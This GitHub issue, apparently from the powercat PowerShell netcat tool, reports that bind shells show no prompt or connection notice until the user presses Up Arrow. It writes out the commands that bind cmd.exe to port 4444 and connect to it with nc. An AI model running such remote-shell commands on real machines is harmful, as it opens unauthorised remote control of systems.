besimorhino/powercat

BIND shells do not return a prompt after remote connection

Open

#19 opened on Apr 22, 2020

 (12 comments) (2 reactions) (0 assignees)PowerShell (485 forks)batch import
help wantedquestion

Repository metrics

Stars
 (2,387 stars)
PR merge metrics
 (No merged PRs in 30d)

Description

The bind shell powercat -l -p 4444 -e cmd.exe does not return a prompt until I press Up Arrow in the prompt running powercat.

This may be due to latency involved with an OpenVPN/rdesktop set-up, but this latency would likely be involved in operational use. I did not attempt to recreate locally to see if latency was a factor.

Replication: In PowerShell: powercat -v -l -p 4444 -e cmd.exe The prompt will report: Listening on [0.0.0.0] (port 443) On connecting device: nc -nv 123.123.123.123 4444

After connecting, the connecting device displays: (UNKNOWN) [123.123.123.123] 4444 (?) open The bind device does not display the connection in the prompt, but the connection is visible in netstat.

In PowerShell Prompt: <press up arrow> The prompt will report Connection from [123.123.123.123] port [tcp] accepted (source port 5555) and proceed as normal.

Contributor guide